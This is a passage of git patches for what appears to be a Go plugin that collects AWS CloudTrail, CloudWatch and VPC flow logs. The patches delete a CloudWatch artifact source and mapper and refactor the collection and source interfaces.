EnrichRow(row any, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { // row must be an AWSCloudTrail diff --git a/aws_source/cloudwatch_artifact_source.go b/aws_source/cloudwatch_artifact_source.go deleted file mode 100644 index 89a66d28..00000000 --- a/aws_source/cloudwatch_artifact_source.go +++ /dev/null @@ -1,358 +0,0 @@ -package aws_source - -import ( - "context" - "encoding/json" - "fmt" - "github.com/turbot/tailpipe-plugin-sdk/artifact_mapper" - "github.com/turbot/tailpipe-plugin-sdk/artifact_source" - "log/slog" - "os" - "path" - "path/filepath" - - "github.com/aws/aws-sdk-go-v2/config" - "github.com/aws/aws-sdk-go-v2/credentials" - "github.com/aws/aws-sdk-go-v2/service/cloudwatchlogs" - cloudwatch_types "github.com/aws/aws-sdk-go-v2/service/cloudwatchlogs/types" - typehelpers "github.com/turbot/go-kit/types" - "github.com/turbot/tailpipe-plugin-sdk/context_values" - "github.com/turbot/tailpipe-plugin-sdk/enrichment" - "github.com/turbot/tailpipe-plugin-sdk/paging" - "github.com/turbot/tailpipe-plugin-sdk/rate_limiter" - "github.com/turbot/tailpipe-plugin-sdk/types" -) - -// CloudWatchArtifactSource is a [Source] implementation that reads logs from AWS CloudWatch -// and writes them to a temp JSON file -type CloudWatchArtifactSource struct { - artifact_source.SourceBase - - config *AwsCloudWatchSourceConfig - client *cloudwatchlogs.Client - limiter *rate_limiter.APILimiter -} - -func NewAwsCloudWatchSource(ctx context.Context, config *AwsCloudWatchSourceConfig) (*CloudWatchArtifactSource, error) { - s := &CloudWatchArtifactSource{ - config: config, - } - s.TmpDir = path.Join(config.TmpDir, "tailpipe", fmt.Sprintf("cloudwatch-%s", config.LogGroupName)) - - if err := s.ValidateConfig(); err != nil { - return nil, fmt.Errorf("invalid config: %w", err) - } - - // initialize client - client, err := s.getClient(ctx) - if err != nil { - return nil, err - } - s.client = client - - // TODO NEEDED? - s.limiter = rate_limiter.NewAPILimiter(&rate_limiter.Definition{ - Name: "cloudwatch_limiter", - FillRate: 5, - BucketSize: 5, - }) - - return s, nil -} - -func (s *CloudWatchArtifactSource) Identifier() string { - return artifact_source.AWSCloudwatchSourceIdentifier -} - -// Mapper returns a function that creates a new [Mapper] required by this source -// [CloudwatchMapper] knows how to extract the row and metadata fields from the JSON that we save -func (s *CloudWatchArtifactSource) Mapper() func() artifact_mapper.Mapper { - return NewCloudwatchMapper -} - -// Close deletes the temp directory and all files -func (s *CloudWatchArtifactSource) Close() error { - // delete the temp dir and all files - return os.RemoveAll(s.TmpDir) -} - -// ValidateConfig checks the config for required fields -func (s *CloudWatchArtifactSource) ValidateConfig() error { - // #TODO #config - validate the config - return nil -} - -// DiscoverArtifacts gets the log streams for the configured log group and log stream prefix, -// within the configured time range, and respecting the time range in the paging data -func (s *CloudWatchArtifactSource) DiscoverArtifacts(ctx context.Context) error { - paging, _ := context_values.PagingDataFromContext[*paging.Cloudwatch](ctx) - - input := &cloudwatchlogs.DescribeLogStreamsInput{ - LogGroupName: &s.config.LogGroupName, - // // set prefix (this may be nil) - LogStreamNamePrefix: s.config.LogStreamPrefix, - } - - paginator := cloudwatchlogs.NewDescribeLogStreamsPaginator(s.client, input) - - var activeCount, inactiveCount int - for paginator.HasMorePages() { - output, err := paginator.NextPage(ctx) - if err != nil { - // Handle error - return fmt.Errorf("failed to get log streams, %w", err) - } - - for _, logStream := range output.LogStreams { - streamName := typehelpers.SafeString(logStream.LogStreamName) - - // get the time range of interest for this stream, - startTime, endTime := s.getTimeRange(ctx, streamName, paging) - // does this stream have entries within this time range - if !logStreamNameWithinTimeRange(logStream, startTime, endTime) { - inactiveCount++ - continue - } - activeCount++ - - // populate enrichment fields the the source is aware of - // - in this case the source type and name - // TODO #enrich check these - sourceEnrichmentFields := &enrichment.CommonFields{ - TpSourceType: "cloudwatch", - TpSourceName: streamName, - } - - // TODO handle rate limiting errors - info := &types.ArtifactInfo{Name: streamName, EnrichmentFields: sourceEnrichmentFields} - // notify observers of the discovered artifact - if err := s.OnArtifactDiscovered(ctx, info); err != nil { - // TODO #err - should we return an error here or gather all errors? - return fmt.Errorf("failed to notify observers of discovered artifact, %w", err) - } - } - } - slog.Info("DiscoverArtifacts - log streams discovered", "active", activeCount, "inactive", inactiveCount) - return nil -} - -func logStreamNameWithinTimeRange(logStream cloudwatch_types.LogStream, startTime, endTime int64) bool { - if logStream.LastIngestionTime == nil || logStream.FirstEventTimestamp == nil { - return false - } - return *logStream.LastIngestionTime > startTime && *logStream.FirstEventTimestamp < endTime -} - -//func (s *CloudWatchArtifactSource) DownloadArtifactsWithFilter(ctx context.Context, info *types.ArtifactInfo) error { -// // Define the query string to filter logs from the specified log stream -// queryString := fmt.Sprintf("fields @timestamp as Timestamp, @message as Message, @ingestionTime as IngestionTime | filter @logStream == '%s' | sort @timestamp desc", info.Name) -// -// startTime, endTime := s.getTimeRange(ctx, info) -// // if start time is after the end time, return -// if startTime >= endTime { -// slog.Info("DownloadArtifact - log stream already downloaded", "log stream", info.Name) -// return nil -// } -// -// startQueryInput := &cloudwatchlogs.StartQueryInput{ -// LogGroupName: &s.config.LogGroupName, -// QueryString: &queryString, -// StartTime: &startTime, -// EndTime: &endTime, -// } -// -// startQueryOutput, err := s.client.StartQuery(ctx, startQueryInput) -// if err != nil { -// return fmt.Errorf("failed to start query, %w", err) -// } -// -// queryID := *startQueryOutput.QueryId -// -// // copy the object data to a temp file -// localFilePath := path.Join(s.TmpDir, info.Name) -// // ensure the directory exists of the file to write to -// if err := os.MkdirAll(filepath.Dir(localFilePath), 0755); err != nil { -// return fmt.Errorf("failed to create directory for file, %w", err) -// } -// -// // Create a local file to write the data to -// outFile, err := os.Create(localFilePath) -// if err != nil { -// return fmt.Errorf("failed to create file, %w", err) -// } -// defer outFile.Close() -// enc := json.NewEncoder(outFile) -// -// // Poll for query results -// timeout := 5 * time.Minute -// err = retry.Do(ctx, retry.WithMaxDuration(timeout, retry.NewConstant(50*time.Millisecond)), func(ctx context.Context) error { -// // apply rate limiter -// // TODO necessary - we can just control backoff? -// if err := s.limiter.Wait(ctx); err != nil { -// return fmt.Errorf("error acquiring rate limiter: %w", err) -// } -// -// getQueryResultsInput := &cloudwatchlogs.GetQueryResultsInput{ -// QueryId: &queryID, -// } -// -// getQueryResultsOutput, err := s.client.GetQueryResults(ctx, getQueryResultsInput) -// if err != nil { -// return fmt.Errorf("failed to get query results, %w", err) -// } -// -// isComplete := getQueryResultsOutput.Status == cloudwatch_types.QueryStatusComplete || getQueryResultsOutput.Status == cloudwatch_types.QueryStatusFailed || getQueryResultsOutput.Status == cloudwatch_types.QueryStatusCancelled -// if !isComplete { -// return retry.RetryableError(fmt.Errorf("query not complete, %w", err)) -// } -// -// for _, result := range getQueryResultsOutput.Results { -// row := make(map[string]string) -// for _, field := range result { -// row[*field.Field] = *field.Value -// } -// err := enc.Encode(row) -// if err != nil { -// return fmt.Errorf("failed to write event to file, %w", err) -// } -// } -// return nil -// }) -// if err != nil { -// return fmt.Errorf("failed to get query results, %w", err) -// } -// -// // notify observers of the discovered artifact -// downloadInfo := &types.ArtifactInfo{Name: localFilePath, OriginalName: info.Name} -// -// return s.OnArtifactDownloaded(ctx, downloadInfo, nil) -//} - -// DownloadArtifact gets the log events for the specified log stream, -// respecting the time range in the config and paging data -func (s *CloudWatchArtifactSource) DownloadArtifact(ctx context.Context, info *types.ArtifactInfo) error { - // get the paging data - paging, _ := context_values.PagingDataFromContext[*paging.Cloudwatch](ctx) - // get the time range for the log stream - startTime, endTime := s.getTimeRange(ctx, info.Name, paging) - // if start time is after the end time, return - if startTime >= endTime { - slog.Info("DownloadArtifact - log stream already downloaded", "log stream", info.Name) - return nil - } - - input := &cloudwatchlogs.GetLogEventsInput{ - LogGroupName: &s.config.LogGroupName, - LogStreamName: &info.Name, - StartTime: &startTime, - EndTime: &endTime, - } - - // copy the object data to a temp file - localFilePath := path.Join(s.TmpDir, fmt.Sprintf("%s.json", info.Name)) - // ensure the directory exists of the file to write to - if err := os.MkdirAll(filepath.Dir(localFilePath), 0755); err != nil { - return fmt.Errorf("failed to create directory for file, %w", err) - } - - // Create a local file to write the data to - outFile, err := os.Create(localFilePath) - if err != nil { - return fmt.Errorf("failed to create file, %w", err) - } - defer outFile.Close() - // create an encoder to write the events to the file - enc := json.NewEncoder(outFile) - - // keep track of the max time for the paging data - var maxTime int64 - // event count - var count int - - paginator := cloudwatchlogs.NewGetLogEventsPaginator(s.client, input) - var previousToken *string - for paginator.HasMorePages() { - // apply rate limiter - //if err := s.limiter.Wait(ctx); err != nil { - // return fmt.Errorf("error acquiring rate limiter: %w", err) - //} - output, err := paginator.NextPage(ctx) - if err != nil { - return fmt.Errorf("failed to get log events, %w", err) - } - - for _, event := range output.Events { - count++ - ts := *event.Timestamp - slog.Debug("DownloadArtifact - writing event to file", "artifact", info.Name, "ts", *event.Timestamp, "maxTime", maxTime) - // update the max time - if ts > maxTime { - maxTime = *event.Timestamp - } - // write the event to the file - if err := enc.Encode(event); err != nil { - return fmt.Errorf("failed to write event to file, %w", err) - } - } - - // Break the loop if the NextToken hasn't changed, indicating all data has been fetched - if previousToken != nil && output.NextForwardToken != nil && *previousToken == *output.NextForwardToken { - slog.Debug("DownloadArtifact - NextForwardToken is same as previous NextForwardToken - all data fetched", "log stream", info.Name) - break - } - previousToken = output.NextForwardToken - } - - // if no events were found, delete the file and return - if count == 0 { - fileErr := os.Remove(localFilePath) - if fileErr != nil { - slog.Warn("DownloadArtifact - no events found, failed to delete file", "artifact", info.Name, "file", localFilePath, "error", fileErr) - return fmt.Errorf("no events found, failed to delete file, %w", fileErr) - } - return nil - } - - // notify observers of the discovered artifact - downloadInfo := &types.ArtifactInfo{Name: localFilePath, OriginalName: info.Name} - - // build paging data - paging = paging.NewCloudwatch() - paging.Add(info.Name, maxTime) - - return s.OnArtifactDownloaded(ctx, downloadInfo, paging) -} - -// use the paging data (if present) and the configured time range to determine the start and end time -func (s *CloudWatchArtifactSource) getTimeRange(ctx context.Context, logStream string, paging *paging.Cloudwatch) (int64, int64) { - startTime := s.config.StartTime.UnixMilli() - endTime := s.config.EndTime.UnixMilli() - - if paging != nil { - // set start time from paging data if present - if prevTimestamp, ok := paging.Timestamps[logStream]; ok { - startTime = prevTimestamp + 1 - } - } - return startTime, endTime -} - -func (s *CloudWatchArtifactSource) getClient(ctx context.Context) (*cloudwatchlogs.Client, error) { - var opts []func(*config.LoadOptions) error - // TODO handle all credential types - // add credentials if provided - if s.config.AccessKey != "" && s.config.SecretKey != "" { - opts = append(opts, config.WithCredentialsProvider(credentials.NewStaticCredentialsProvider(s.config.AccessKey, s.config.SecretKey, s.config.SessionToken))) - } - // TODO do we need to specify a region? - // add with region - opts = append(opts, config.WithRegion("us-east-1")) - - cfg, err := config.LoadDefaultConfig(ctx, opts...) - if err != nil { - return nil, fmt.Errorf("unable to load SDK config, %w", err) - } - - client := cloudwatchlogs.NewFromConfig(cfg) - return client, nil -} diff --git a/aws_source/cloudwatch_mapper.go b/aws_source/cloudwatch_mapper.go deleted file mode 100644 index ed5f8ff6..00000000 --- a/aws_source/cloudwatch_mapper.go +++ /dev/null @@ -1,51 +0,0 @@ -package aws_source - -import ( - "context" - "encoding/json" - "fmt" - "github.com/turbot/tailpipe-plugin-sdk/artifact_mapper" - "github.com/turbot/tailpipe-plugin-sdk/helpers" - "github.com/turbot/tailpipe-plugin-sdk/types" -) - -const ( - AWSCloudwatchMapperIdentifier = "aws_cloudwatch_mapper" -) - -// CloudwatchMapper is an [plugin.Mapper] implementation -// that receives JSON data and returns AWSCloudTrail records -type CloudwatchMapper struct { -} - -// NewCloudwatchMapper creates a new CloudwatchMapper -func NewCloudwatchMapper() artifact_mapper.Mapper { - return &CloudwatchMapper{} -} - -func (c *CloudwatchMapper) Identifier() string { - return AWSCloudwatchMapperIdentifier -} - -// Map unmarshalls JSON into an AWSCloudTrailBatch object and extracts AWSCloudTrail records from it -func (c *CloudwatchMapper) Map(_ context.Context, a *types.RowData) ([]*types.RowData, error) { - // the expected input type is a JSON string deserializable to a map with keys "IngestionTime", "Timestamp" and "Message" - jsonString, ok := a.Data.(string) - if !ok { - return nil, fmt.Errorf("expected string, got %T", a) - } - - var cloudwatchEntry map[string]any - err := json.Unmarshal([]byte(jsonString), &cloudwatchEntry) - if err != nil { - return nil, fmt.Errorf("error decoding json: %w", err) - } - row := cloudwatchEntry["Message"].(string) - metadata := a.Metadata.Clone() - metadata.TpIngestTimestamp = helpers.UnixMillis(cloudwatchEntry["IngestionTime"].(float64)) - metadata.TpTimestamp = helpers.UnixMillis(cloudwatchEntry["Timestamp"].(float64)) - - d := types.NewData(row, types.WithMetadata(metadata)) - - return []*types.RowData{d}, nil -} diff --git a/aws_source/cloudwatch_source_config.go b/aws_source/cloudwatch_source_config.go deleted file mode 100644 index 82cb2b76..00000000 --- a/aws_source/cloudwatch_source_config.go +++ /dev/null @@ -1,25 +0,0 @@ -package aws_source - -import ( - "github.com/turbot/tailpipe-plugin-sdk/artifact_source" - "time" -) - -// AwsCloudWatchSourceConfig is the configuration for an [CloudWatchArtifactSource] -type AwsCloudWatchSourceConfig struct { - artifact_source.SourceConfigBase - // TODO #confif connection based credentiuals mechanism - AccessKey string - SecretKey string - SessionToken string - - // the log group to collect - LogGroupName string - - // collect log streams with this prefixthe log stream prefix - LogStreamPrefix *string - - // the time range to collect for - StartTime time.Time - EndTime time.Time -} From 89677d75219d2e13e5b657287c0acc0e64d75965 Mon Sep 17 00:00:00 2001 From: kai Date: Wed, 31 Jul 2024 16:53:34 +0100 Subject: [PATCH 036/180] started to refactor artifact source --- aws_source/cloudwatch_source.go | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/aws_source/cloudwatch_source.go b/aws_source/cloudwatch_source.go index 5b1bbf05..ce2f39d8 100644 --- a/aws_source/cloudwatch_source.go +++ b/aws_source/cloudwatch_source.go @@ -10,7 +10,7 @@ import ( const CloudwatchSourceIdentifier = "aws_cloudwatch_source" type CloudwatchSource struct { - artifact_row_source.ArtifactRowSource + artifact_row_source.Base } func NewCloudwatchSource() row_source.RowSource { @@ -23,5 +23,5 @@ func (c *CloudwatchSource) Identifier() string { } func (c *CloudwatchSource) Init(ctx context.Context, configData *hcl.Data, opts ...row_source.RowSourceOption) error { - return c.ArtifactRowSource.Init(ctx, configData, opts...) + return c.Base.Init(ctx, configData, opts...) } From 69c1d105bd6f09dde20d4312d36a5509134d2bb7 Mon Sep 17 00:00:00 2001 From: kai Date: Wed, 31 Jul 2024 18:19:01 +0100 Subject: [PATCH 037/180] inversion compiles --- aws/plugin.go | 4 +-- aws_collection/cloudtrail_log_collection.go | 22 +++++++++++------ aws_collection/vpc_flow_log_collection.go | 16 ++++++------ aws_source/cloudwatch_source.go | 27 --------------------- 4 files changed, 25 insertions(+), 44 deletions(-) delete mode 100644 aws_source/cloudwatch_source.go diff --git a/aws/plugin.go b/aws/plugin.go index af9f0d65..86adb628 100644 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -9,11 +9,10 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/artifact_mapper" "github.com/turbot/tailpipe-plugin-sdk/collection" "github.com/turbot/tailpipe-plugin-sdk/plugin" - "github.com/turbot/tailpipe-plugin-sdk/row_source" ) type Plugin struct { - plugin.Base + plugin.PluginBase } func NewPlugin() (plugin.TailpipePlugin, error) { @@ -26,7 +25,6 @@ func NewPlugin() (plugin.TailpipePlugin, error) { // register the collections, sources and mappers that we provide resources := &plugin.ResourceFunctions{ Collections: []func() collection.Collection{aws_collection.NewCloudTrailLogCollection, aws_collection.NewVPCFlowLogLogCollection}, - Sources: []func() row_source.RowSource{aws_source.NewCloudwatchSource}, ArtifactMappers: []func() artifact_mapper.Mapper{aws_source.NewCloudtrailMapper}, } diff --git a/aws_collection/cloudtrail_log_collection.go b/aws_collection/cloudtrail_log_collection.go index 076855f0..2539d2f4 100644 --- a/aws_collection/cloudtrail_log_collection.go +++ b/aws_collection/cloudtrail_log_collection.go @@ -2,6 +2,7 @@ package aws_collection import ( "fmt" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "strings" "time" @@ -9,7 +10,6 @@ import ( "github.com/turbot/tailpipe-plugin-aws/aws_types" "github.com/turbot/tailpipe-plugin-aws/util" "github.com/turbot/tailpipe-plugin-sdk/artifact_mapper" - "github.com/turbot/tailpipe-plugin-sdk/artifact_row_source" "github.com/turbot/tailpipe-plugin-sdk/collection" "github.com/turbot/tailpipe-plugin-sdk/enrichment" "github.com/turbot/tailpipe-plugin-sdk/helpers" @@ -18,8 +18,8 @@ import ( // CloudTrailLogCollection - collection for CloudTrail logs type CloudTrailLogCollection struct { - // all collections must embed collection.Base - collection.Base[CloudTrailLogCollectionConfig] + // all collections must embed collection.CollectionBase + collection.CollectionBase[CloudTrailLogCollectionConfig] // the collection config Config *CloudTrailLogCollectionConfig @@ -32,7 +32,11 @@ func NewCloudTrailLogCollection() collection.Collection { func (c *CloudTrailLogCollection) SupportedSources() []string { // TODO #source do we need to to specify the type or artifact source supported? return []string{ - artifact_row_source.ArtifactRowSourceIdentifier, + // TODO #factory provider a shortcut for all artifact sources + artifact_source.AwsS3BucketSourceIdentifier, + artifact_source.FileSystemSourceIdentifier, + artifact_source.GcpStorageBucketSourceIdentifier, + artifact_source.AWSCloudwatchSourceIdentifier, } } @@ -44,9 +48,13 @@ func (c *CloudTrailLogCollection) Identifier() string { // GetSourceOptions returns any options which should be passed to the given source type func (c *CloudTrailLogCollection) GetSourceOptions(sourceType string) []row_source.RowSourceOption { switch sourceType { + // TODO #factory provider a shortcut for all artifact sources // if source is an artifact source, use the cloudtrail mapper - case artifact_row_source.ArtifactRowSourceIdentifier: - return []row_source.RowSourceOption{artifact_row_source.WithMapper(artifact_mapper.NewCloudwatchMapper())} + case artifact_source.AwsS3BucketSourceIdentifier, + artifact_source.FileSystemSourceIdentifier, + artifact_source.GcpStorageBucketSourceIdentifier, + artifact_source.AWSCloudwatchSourceIdentifier: + return []row_source.RowSourceOption{artifact_source.WithMapper(artifact_mapper.NewCloudwatchMapper())} } return nil } @@ -106,7 +114,7 @@ func (c *CloudTrailLogCollection) EnrichRow(row any, sourceEnrichmentFields *enr } // -//// use the config to configure the Source +//// use the config to configure the ArtifactSource //func (c *CloudTrailLogCollection) getSource(configData *hcl.Data) (plugin.RowSource, error) { //switch configData.Type { // diff --git a/aws_collection/vpc_flow_log_collection.go b/aws_collection/vpc_flow_log_collection.go index 1a7b1747..42c36083 100644 --- a/aws_collection/vpc_flow_log_collection.go +++ b/aws_collection/vpc_flow_log_collection.go @@ -2,8 +2,7 @@ package aws_collection import ( "fmt" - "github.com/turbot/tailpipe-plugin-aws/aws_source" - "github.com/turbot/tailpipe-plugin-sdk/artifact_row_source" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "time" "github.com/rs/xid" @@ -16,8 +15,8 @@ import ( // VPCFlowLogLogCollection - collection for VPC Flow Logs type VPCFlowLogLogCollection struct { - // all collections must embed collection.Base - collection.Base[VpcFlowLogCollectionConfig] + // all collections must embed collection.CollectionBase + collection.CollectionBase[VpcFlowLogCollectionConfig] } func NewVPCFlowLogLogCollection() collection.Collection { @@ -31,8 +30,11 @@ func (c *VPCFlowLogLogCollection) Identifier() string { func (c *VPCFlowLogLogCollection) SupportedSources() []string { return []string{ - artifact_row_source.ArtifactRowSourceIdentifier, - aws_source.CloudwatchSourceIdentifier, + // TODO #factory provider a shortcut for all artifact sources + artifact_source.AwsS3BucketSourceIdentifier, + artifact_source.FileSystemSourceIdentifier, + artifact_source.GcpStorageBucketSourceIdentifier, + artifact_source.AWSCloudwatchSourceIdentifier, } } @@ -159,7 +161,7 @@ func (c *VPCFlowLogLogCollection) EnrichRow(row any, sourceEnrichmentFields *enr } // -//// use the config to configure the Source +//// use the config to configure the ArtifactSource //func (c *VPCFlowLogLogCollection) getSource(ctx context.Context, config *VpcFlowLogCollectionConfig) (plugin.RowSource, error) { // // TODO populate from config // //srcConfig := &artifact.AwsS3BucketSourceConfig{ diff --git a/aws_source/cloudwatch_source.go b/aws_source/cloudwatch_source.go deleted file mode 100644 index ce2f39d8..00000000 --- a/aws_source/cloudwatch_source.go +++ /dev/null @@ -1,27 +0,0 @@ -package aws_source - -import ( - "context" - "github.com/turbot/tailpipe-plugin-sdk/artifact_row_source" - "github.com/turbot/tailpipe-plugin-sdk/hcl" - "github.com/turbot/tailpipe-plugin-sdk/row_source" -) - -const CloudwatchSourceIdentifier = "aws_cloudwatch_source" - -type CloudwatchSource struct { - artifact_row_source.Base -} - -func NewCloudwatchSource() row_source.RowSource { - return &CloudwatchSource{} -} - -// Identifier returns the name of the row source -func (c *CloudwatchSource) Identifier() string { - return CloudwatchSourceIdentifier -} - -func (c *CloudwatchSource) Init(ctx context.Context, configData *hcl.Data, opts ...row_source.RowSourceOption) error { - return c.Base.Init(ctx, configData, opts...) -} From b8373ce413c391e2cb44cde577bf1e00a7d6c784 Mon Sep 17 00:00:00 2001 From: kai Date: Thu, 1 Aug 2024 12:12:25 +0100 Subject: [PATCH 038/180] fix: Cloudtrail collection requeats CloudtrailMapper not CloudwatchMapper --- aws/plugin.go | 7 +--- aws_collection/cloudtrail_log_collection.go | 46 +++------------------ aws_collection/vpc_flow_log_collection.go | 10 ++--- 3 files changed, 13 insertions(+), 50 deletions(-) diff --git a/aws/plugin.go b/aws/plugin.go index 86adb628..09f80aca 100644 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -5,8 +5,6 @@ import ( "time" "github.com/turbot/tailpipe-plugin-aws/aws_collection" - "github.com/turbot/tailpipe-plugin-aws/aws_source" - "github.com/turbot/tailpipe-plugin-sdk/artifact_mapper" "github.com/turbot/tailpipe-plugin-sdk/collection" "github.com/turbot/tailpipe-plugin-sdk/plugin" ) @@ -22,10 +20,9 @@ func NewPlugin() (plugin.TailpipePlugin, error) { time.Sleep(10 * time.Second) slog.Info("YAWN") - // register the collections, sources and mappers that we provide + // register the collections that we provide resources := &plugin.ResourceFunctions{ - Collections: []func() collection.Collection{aws_collection.NewCloudTrailLogCollection, aws_collection.NewVPCFlowLogLogCollection}, - ArtifactMappers: []func() artifact_mapper.Mapper{aws_source.NewCloudtrailMapper}, + Collections: []func() collection.Collection{aws_collection.NewCloudTrailLogCollection, aws_collection.NewVPCFlowLogLogCollection}, } if err := p.RegisterResources(resources); err != nil { diff --git a/aws_collection/cloudtrail_log_collection.go b/aws_collection/cloudtrail_log_collection.go index 2539d2f4..7b7bf5d7 100644 --- a/aws_collection/cloudtrail_log_collection.go +++ b/aws_collection/cloudtrail_log_collection.go @@ -2,14 +2,14 @@ package aws_collection import ( "fmt" - "github.com/turbot/tailpipe-plugin-sdk/artifact_source" + "github.com/turbot/tailpipe-plugin-aws/aws_source" "strings" "time" "github.com/rs/xid" "github.com/turbot/tailpipe-plugin-aws/aws_types" "github.com/turbot/tailpipe-plugin-aws/util" - "github.com/turbot/tailpipe-plugin-sdk/artifact_mapper" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/collection" "github.com/turbot/tailpipe-plugin-sdk/enrichment" "github.com/turbot/tailpipe-plugin-sdk/helpers" @@ -40,7 +40,7 @@ func (c *CloudTrailLogCollection) SupportedSources() []string { } } -// Identifier implements plugin.Collection +// Identifier implements collection.Collection func (c *CloudTrailLogCollection) Identifier() string { return "aws_cloudtrail_log" } @@ -54,17 +54,17 @@ func (c *CloudTrailLogCollection) GetSourceOptions(sourceType string) []row_sour artifact_source.FileSystemSourceIdentifier, artifact_source.GcpStorageBucketSourceIdentifier, artifact_source.AWSCloudwatchSourceIdentifier: - return []row_source.RowSourceOption{artifact_source.WithMapper(artifact_mapper.NewCloudwatchMapper())} + return []row_source.RowSourceOption{artifact_source.WithMapper(aws_source.NewCloudtrailMapper())} } return nil } -// GetRowSchema implements plugin.Collection +// GetRowSchema implements collection.Collection func (c *CloudTrailLogCollection) GetRowSchema() any { return aws_types.AWSCloudTrail{} } -// EnrichRow implements plugin.Collection +// EnrichRow implements collection.Collection func (c *CloudTrailLogCollection) EnrichRow(row any, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { // row must be an AWSCloudTrail record, ok := row.(aws_types.AWSCloudTrail) @@ -112,37 +112,3 @@ func (c *CloudTrailLogCollection) EnrichRow(row any, sourceEnrichmentFields *enr return record, nil } - -// -//// use the config to configure the ArtifactSource -//func (c *CloudTrailLogCollection) getSource(configData *hcl.Data) (plugin.RowSource, error) { -//switch configData.Type { -// -//} -// var cfg CloudTrailLogCollectionConfig -// err := hcl.ParseConfig(configData, &cfg) -// if err != nil { -// return nil, fmt.Errorf("error parsing config: %w", err) -// } -// -// -// sourceConfig := &artifact.FileSystemSourceConfig{Paths: hcl.Paths, Extensions: []string{".gz"}} -// -// artifactSource := artifact.NewFileSystemSource(sourceConfig) -// artifactMapper := aws_source.NewCloudtrailMapper() -// -// // create empty paging data to pass to source -// // TODO maybe source creates for itself?? -// pagingData, err := c.GetPagingDataSchema() -// if err != nil { -// return nil, fmt.Errorf("error creating paging data: %w", err) -// } -// -// source, err := row_source.NewArtifactRowSource(artifactSource, pagingData, ) -// -// if err != nil { -// return nil, fmt.Errorf("error creating artifact row source: %w", err) -// } -// -// return source, nil -//} diff --git a/aws_collection/vpc_flow_log_collection.go b/aws_collection/vpc_flow_log_collection.go index 42c36083..ab9577e7 100644 --- a/aws_collection/vpc_flow_log_collection.go +++ b/aws_collection/vpc_flow_log_collection.go @@ -23,7 +23,7 @@ func NewVPCFlowLogLogCollection() collection.Collection { return &VPCFlowLogLogCollection{} } -// Identifier implements plugin.Collection +// Identifier implements collection.Collection func (c *VPCFlowLogLogCollection) Identifier() string { return "aws_vpc_flow_log" } @@ -39,7 +39,7 @@ func (c *VPCFlowLogLogCollection) SupportedSources() []string { } // -//// Init implements plugin.Collection +//// Init implements collection.Collection //func (c *VPCFlowLogLogCollection) Init(ctx context.Context, collectionConfig, sourceConfig *hcl.Data) error { // } // //// TEMP - this will actually parse (or the base will) @@ -74,20 +74,20 @@ func (c *VPCFlowLogLogCollection) SupportedSources() []string { // //} -// GetRowSchema implements plugin.Collection +// GetRowSchema implements collection.Collection // return an instance of the row struct func (c *VPCFlowLogLogCollection) GetRowSchema() any { return aws_types.AwsVpcFlowLog{} } -// GetPagingDataSchema implements plugin.Collection +// GetPagingDataSchema implements collection.Collection func (c *VPCFlowLogLogCollection) GetPagingDataSchema() (paging.Data, error) { // TODO use config to determine the type of paging data to return // hard coded to cloudwatch for now return paging.NewCloudwatch(), nil } -// EnrichRow implements plugin.Collection +// EnrichRow implements collection.Collection func (c *VPCFlowLogLogCollection) EnrichRow(row any, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { // row must be a string rowString, ok := row.(string) From ba949e85c17b7bf80d5c34008215c4a098d95acb Mon Sep 17 00:00:00 2001 From: kai Date: Thu, 1 Aug 2024 15:55:47 +0100 Subject: [PATCH 039/180] remove SupportedSources from Collection if (for now) remove GetPagingDataSchema from collection --- aws_collection/cloudtrail_log_collection.go | 28 +++------------------ aws_collection/vpc_flow_log_collection.go | 19 -------------- aws_source/cloudtrail_mapper.go | 7 ++---- 3 files changed, 5 insertions(+), 49 deletions(-) diff --git a/aws_collection/cloudtrail_log_collection.go b/aws_collection/cloudtrail_log_collection.go index 7b7bf5d7..7817f7b0 100644 --- a/aws_collection/cloudtrail_log_collection.go +++ b/aws_collection/cloudtrail_log_collection.go @@ -20,43 +20,21 @@ import ( type CloudTrailLogCollection struct { // all collections must embed collection.CollectionBase collection.CollectionBase[CloudTrailLogCollectionConfig] - - // the collection config - Config *CloudTrailLogCollectionConfig } func NewCloudTrailLogCollection() collection.Collection { return &CloudTrailLogCollection{} } -func (c *CloudTrailLogCollection) SupportedSources() []string { - // TODO #source do we need to to specify the type or artifact source supported? - return []string{ - // TODO #factory provider a shortcut for all artifact sources - artifact_source.AwsS3BucketSourceIdentifier, - artifact_source.FileSystemSourceIdentifier, - artifact_source.GcpStorageBucketSourceIdentifier, - artifact_source.AWSCloudwatchSourceIdentifier, - } -} - // Identifier implements collection.Collection func (c *CloudTrailLogCollection) Identifier() string { return "aws_cloudtrail_log" } // GetSourceOptions returns any options which should be passed to the given source type -func (c *CloudTrailLogCollection) GetSourceOptions(sourceType string) []row_source.RowSourceOption { - switch sourceType { - // TODO #factory provider a shortcut for all artifact sources - // if source is an artifact source, use the cloudtrail mapper - case artifact_source.AwsS3BucketSourceIdentifier, - artifact_source.FileSystemSourceIdentifier, - artifact_source.GcpStorageBucketSourceIdentifier, - artifact_source.AWSCloudwatchSourceIdentifier: - return []row_source.RowSourceOption{artifact_source.WithMapper(aws_source.NewCloudtrailMapper())} - } - return nil +func (c *CloudTrailLogCollection) GetSourceOptions() []row_source.RowSourceOption { + // if the source is an artifact source, we need to specify the mapper + return []row_source.RowSourceOption{artifact_source.WithMapper(aws_source.NewCloudtrailMapper())} } // GetRowSchema implements collection.Collection diff --git a/aws_collection/vpc_flow_log_collection.go b/aws_collection/vpc_flow_log_collection.go index ab9577e7..986df41f 100644 --- a/aws_collection/vpc_flow_log_collection.go +++ b/aws_collection/vpc_flow_log_collection.go @@ -2,7 +2,6 @@ package aws_collection import ( "fmt" - "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "time" "github.com/rs/xid" @@ -10,7 +9,6 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/collection" "github.com/turbot/tailpipe-plugin-sdk/enrichment" "github.com/turbot/tailpipe-plugin-sdk/helpers" - "github.com/turbot/tailpipe-plugin-sdk/paging" ) // VPCFlowLogLogCollection - collection for VPC Flow Logs @@ -28,16 +26,6 @@ func (c 